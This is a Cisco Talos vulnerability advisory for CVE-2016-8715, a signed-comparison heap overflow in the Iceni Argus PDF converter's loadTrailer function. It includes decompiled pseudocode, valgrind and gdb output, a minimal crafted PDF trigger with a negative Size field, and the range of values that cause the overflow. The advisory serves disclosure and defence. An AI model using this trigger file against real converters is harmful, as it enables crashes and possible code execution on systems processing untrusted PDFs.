Talos Vulnerability Report

TALOS-2016-0228

Iceni Argus icnChainAlloc Signed Comparison Code Execution Vulnerability

February 27, 2017
CVE Number

CVE-2016-8715

Summary

An exploitable heap corruption vulnerability exists in the loadTrailer functionality of Iceni Argus version 6.6.05. A specially crafted PDF file can cause a heap corruption resulting in arbitrary code execution. An attacker can send/provide a malicious PDF file to trigger this vulnerability.

Tested Versions

Iceni Argus Version 6.6.05 (Sep 22 2016) NK Linux x64

Product URLs

http://www.iceni.com/legacy.htm

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Details

This vulnerability is present in the Iceni Argus PDF which is used inter alia to convert PDF files to (X)HTML form. This product is mainly used by MarkLogic for PDF document conversions as part of their web based document search and rendering. A specially crafted PDF file can lead to an heap corruption and ultimately to remote code execution.

Let's investigate this vulnerability. After executing the PDF to HTML converter with a malformed pdf file as an input we can easily observe in the output of valgrind that an out of bounds write has occurred:

Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
==59595== Invalid write of size 4
==59595==    at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595==    by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==  Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd
==59595==    at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595==    by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==
==59595==
==59595== Process terminating with default action of signal 11 (SIGSEGV)
==59595==  Access not within mapped region at address 0x4AB3000
==59595==    at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595==    by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)

we see that memset in loadTrailer function causes an overflow in tje buffer allocated in ipDocCreate. We will now analyze the loadTrailer function and try to figure out where the memset size parameter is coming from and in which conditions it will cause overflows. A pseudo code fragment of loadTrailer looks like this:

Line 1 	int __usercall loadTrailer@<eax>(_DWORD *a1@<eax>, int *a2@<edx>, int a3@<ecx>)
Line 2 	{
Line 3
Line 4 		(...)
Line 5 		  v17 = ipDictFindType(v16, "Root", 10);
Line 6 		  v142 = 0;
Line 7 		  if ( v17 )
Line 8 			v142 = *(v17 + 1);
Line 9 		  v18 = ipDictFindType(v138, "Size", 5);
Line 10		  if ( !v18 )
Line 11		  {
Line 12			if ( icnErrorGetCode(v20, v19) )
Line 13			  goto LABEL_27;
Line 14			v143 = 0;
Line 15			v144 = 0;
Line 16			v165 = 0;
Line 17			goto LABEL_54;
Line 18		  }
Line 19		  v21 = *(v18 + 1);
Line 20		(...)
Line 21		  v166 = 2 * v21;
Line 22		  if ( (2 * v21) < 500 )
Line 23		LABEL_54:
Line 24			v166 = 500;
Line 25		(...)
Line 26		v81 = icnChainAlloc(v135->pdword234, 24 * v166);
Line 27		if ( !v81 )
Line 28		  goto LABEL_27;
Line 29		memset(v81, 0, 24 * v166);
Line 30

In the above listing we see that the memset size parameter strongly depends on the Size field value at Line 9, which comes directly from a file. This value takes a part in couple arithmetic operations: at lines 21 and 29 and the result of that is used as a parameter to memset. At line 26 we see potential (re)allocation for the same value 24*v166 as used later for memset but that doesn’t seem to happen and the code ends up overflowing a buffer allocated in ipDocCreate.

Let’s take a look at icnChainAlloc:

Line 1 	char *__cdecl icnChainAlloc(void *bufferStruct, int allocSize)
Line 2 	{
Line 3 	  signed int v8; // edi@9
Line 4 	  (...)
Line 5 	  v8 = (allocSize + 3) & 0xFFFFFFFC;
Line 6 	  while ( 1 )
Line 7 	  {
Line 8 		if ( v8 <= v7->chunkSize )
Line 9 		  goto LABEL_17;
Line 10		if ( !v7->nextChunk )
Line 11		  break;
Line 12		v7 = v7->nextChunk;
Line 13	  }
Line 14	  v9 = (allocSize + 3) & 0xFFFFFFFC;
Line 15	  if ( v8 < v7->dwordC )
Line 16		v9 = v7->dwordC;
Line 17	  v10 = icnChainCreate(v9);
Line 18	  if ( v10 )
Line 19	  {
Line 20		v7->nextChunk = v10;
Line 21		v7 = v10;
Line 22		*bufferStruct = v10;
Line 23	LABEL_17:
Line 24		v11 = v7->pvoid4;
Line 25		v7->chunkSize -= v8;
Line 26		v7->pvoid4 = &v11[v8];
Line 27		*bufferStruct = v7;
Line 28		return v11;
Line 29	  }
Line 30	  return 0;

At line 17, we see that a new allocation can occur for specified value allocSize but before this line is reached a couple of checks need to be passed. Inside the while loop starting at line 6 we see a check (line 8) where allocSize is compared with the available chunks size (the application uses a custom allocator for objects), but the comparison is made for a signed value (see the definition of the v8 var at line 3). If the value of allocSize is bigger than INT_MAX (generally, a negative value), the check at line 8 will be true and the allocation for new space will not happen. The existing chunk of allocated memory will be returned and used later in the memset.

An example of a PDF which leads to overflow situation looks like this :

%PDF-1
1 0 obj
<</Kids[<</Parent 1 0 R>>]>>
trailer
<</Size -1/Root<</Pages 1 0 R>>>>

The value of the Size field is set to -1 what cause that we land in icnChainAlloc with the following parameters.

Breakpoint 1, 0x08160dc0 in loadTrailer ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x9964288 (0x09964288)
EBX: 0x8fbc6e8 --> 0x8fbbe90 --> 0x1
ECX: 0xf7a09008 --> 0x0
EDX: 0x0
ESI: 0xf7a09244 --> 0x1
EDI: 0x9964368 --> 0x0
EBP: 0xf7a09008 --> 0x0
ESP: 0xfffc6bf0 --> 0x9964288 (0x09964288)
EIP: 0x8161808 (call   0x80679f0 <icnChainAlloc>)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x81617fb:	mov    ecx,DWORD PTR [esp+0x38]
   0x81617ff:	mov    eax,DWORD PTR [ecx+0x234]
   0x8161805:	mov    DWORD PTR [esp],eax
=> 0x8161808:	call   0x80679f0 <icnChainAlloc>
   0x816180d:	mov    ecx,DWORD PTR [esp+0x28]
   0x8161811:	mov    edx,DWORD PTR [esp+0x30]
   0x8161815:	mov    DWORD PTR [edi+0x2c],eax
   0x8161818:	mov    eax,DWORD PTR [esp+0x44]
Guessed arguments:
arg[0]: 0x9964288 (0x09964288)
arg[1]: 0xffffffd0
[------------------------------------stack-------------------------------------]
0000| 0xfffc6bf0 --> 0x9964288 (0x09964288)
0004| 0xfffc6bf4 --> 0xffffffd0
0008| 0xfffc6bf8 --> 0x5
0012| 0xfffc6bfc --> 0x0
0016| 0xfffc6c00 --> 0xfffc6cb4 --> 0xf7d678a4 --> 0x56ed
0020| 0xfffc6c04 --> 0xfffc6c28 --> 0xf7a09008 --> 0x0
0024| 0xfffc6c08 --> 0xfffc6c20 --> 0x0
0028| 0xfffc6c0c --> 0x804baea ("strtod")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Of course 0xffffffd0 passes all mentioned constraints leading to situation where proper space is not allocated. Because the value passed to icnChainAlloc just needs to be a negative value and we have direct influence on the Size field, we can easily calculate entire range of values which will cause that situation.

(0x80000000 / 2 ) / 24 = 0x2aaaaaa 0x2aaaaaa + 1 = 0x2aaaaab ( 44739243 )

So all values from 0x2aaaaab to 0xffffffff used as a value in Size field will lead to an overflow.

Crash Information

Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
==59595== Invalid write of size 4
==59595==    at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595==    by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==  Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd
==59595==    at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595==    by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==
==59595==
==59595== Process terminating with default action of signal 11 (SIGSEGV)
==59595==  Access not within mapped region at address 0x4AB3000
==59595==    at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595==    by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595==    by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)

Timeline

2016-10-10 - Vendor Disclosure
2017-02-27 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.